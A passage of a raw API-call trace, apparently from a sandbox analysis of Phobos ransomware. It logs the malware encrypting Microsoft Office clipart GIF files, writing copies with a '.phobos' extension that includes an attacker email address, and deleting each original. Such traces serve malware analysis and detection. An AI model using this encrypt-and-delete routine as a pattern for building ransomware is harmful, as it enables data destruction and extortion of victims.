phKey=0x37af804 | out: phKey=0x37af804*=0x10dc790) returned 1 [0056.234] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0056.234] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x1e06, lpOverlapped=0x0) returned 1 [0056.405] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1e10, dwBufLen=0x1e10 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1e10) returned 1 [0056.405] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x1e10, lpOverlapped=0x0) returned 1 [0056.406] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb90) returned 1 [0056.406] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0056.406] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0056.406] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0056.406] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0056.406] CryptDestroyKey (hKey=0x10dc790) returned 1 [0056.406] CloseHandle (hObject=0x310) returned 1 [0056.415] CloseHandle (hObject=0x2fc) returned 1 [0056.416] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 1 [0056.417] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0056.417] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0056.474] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=11891) returned 1 [0056.474] CloseHandle (hObject=0x2fc) returned 1 [0056.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 0x220 [0056.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0056.475] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0056.475] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0056.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0056.479] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc810) returned 1 [0056.479] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0056.479] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x2e73, lpOverlapped=0x0) returned 1 [0056.652] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2e80, dwBufLen=0x2e80 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2e80) returned 1 [0056.652] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x2e80, lpOverlapped=0x0) returned 1 [0056.653] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc850) returned 1 [0056.653] CryptSetKeyParam (hKey=0x10dc850, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0056.653] CryptEncrypt (in: hKey=0x10dc850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0056.653] CryptDestroyKey (hKey=0x10dc850) returned 1 [0056.653] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0056.653] CryptDestroyKey (hKey=0x10dc810) returned 1 [0056.653] CloseHandle (hObject=0x2fc) returned 1 [0056.653] CloseHandle (hObject=0x310) returned 1 [0056.654] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 1 [0056.655] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0056.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0056.658] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=517) returned 1 [0056.658] CloseHandle (hObject=0x310) returned 1 [0056.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 0x220 [0056.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0056.658] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0056.658] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0056.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0056.658] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc910) returned 1 [0056.658] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0056.658] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x205, lpOverlapped=0x0) returned 1 [0056.659] CryptEncrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x210, dwBufLen=0x210 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x210) returned 1 [0056.659] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x210, lpOverlapped=0x0) returned 1 [0056.660] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb90) returned 1 [0056.660] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0056.660] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0056.660] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0056.660] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0056.660] CryptDestroyKey (hKey=0x10dc910) returned 1 [0056.660] CloseHandle (hObject=0x310) returned 1 [0056.660] CloseHandle (hObject=0x2fc) returned 1 [0056.661] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 1 [0056.662] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0056.662] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0056.662] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=502) returned 1 [0056.662] CloseHandle (hObject=0x2fc) returned 1 [0056.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 0x220 [0056.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.662] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0056.662] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0056.662] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0056.662] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0056.662] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcc50) returned 1 [0056.662] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0056.662] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x1f6, lpOverlapped=0x0) returned 1 [0056.663] CryptEncrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x200, dwBufLen=0x200 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x200) returned 1 [0056.663] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x200, lpOverlapped=0x0) returned 1 [0056.664] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcc10) returned 1 [0056.664] CryptSetKeyParam (hKey=0x10dcc10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0056.664] CryptEncrypt (in: hKey=0x10dcc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0056.664] CryptDestroyKey (hKey=0x10dcc10) returned 1 [0056.664] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0056.664] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0056.664] CloseHandle (hObject=0x2fc) returned 1 [0056.664] CloseHandle (hObject=0x310) returned 1 [0056.665] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 1 [0056.666] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0056.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0056.666] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=12702) returned 1 [0056.666] CloseHandle (hObject=0x310) returned 1 [0056.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 0x220 [0056.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0056.667] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0056.667] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0056.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0056.668] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc690) returned 1 [0056.668] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0056.668] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x319e, lpOverlapped=0x0) returned 1 [0056.674] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x31a0, dwBufLen=0x31a0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x31a0) returned 1 [0056.675] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x31a0, lpOverlapped=0x0) returned 1 [0056.676] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcc90) returned 1 [0056.676] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0056.676] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0056.676] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0056.676] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0056.676] CryptDestroyKey (hKey=0x10dc690) returned 1 [0056.676] CloseHandle (hObject=0x310) returned 1 [0056.676] CloseHandle (hObject=0x2fc) returned 1 [0056.677] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 1 [0056.678] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0056.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0056.678] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=3484) returned 1 [0056.678] CloseHandle (hObject=0x2fc) returned 1 [0056.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 0x220 [0056.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0056.678] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0056.678] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0056.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0056.679] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc9d0) returned 1 [0056.679] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0056.679] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xd9c, lpOverlapped=0x0) returned 1 [0056.694] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xda0, dwBufLen=0xda0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xda0) returned 1 [0056.694] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xda0, lpOverlapped=0x0) returned 1 [0056.694] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dca10) returned 1 [0056.694] CryptSetKeyParam (hKey=0x10dca10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0056.695] CryptEncrypt (in: hKey=0x10dca10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0056.695] CryptDestroyKey (hKey=0x10dca10) returned 1 [0056.695] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0056.695] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0056.695] CloseHandle (hObject=0x2fc) returned 1 [0056.695] CloseHandle (hObject=0x310) returned 1 [0056.695] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 1 [0056.696] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0056.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0056.696] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=3140) returned 1 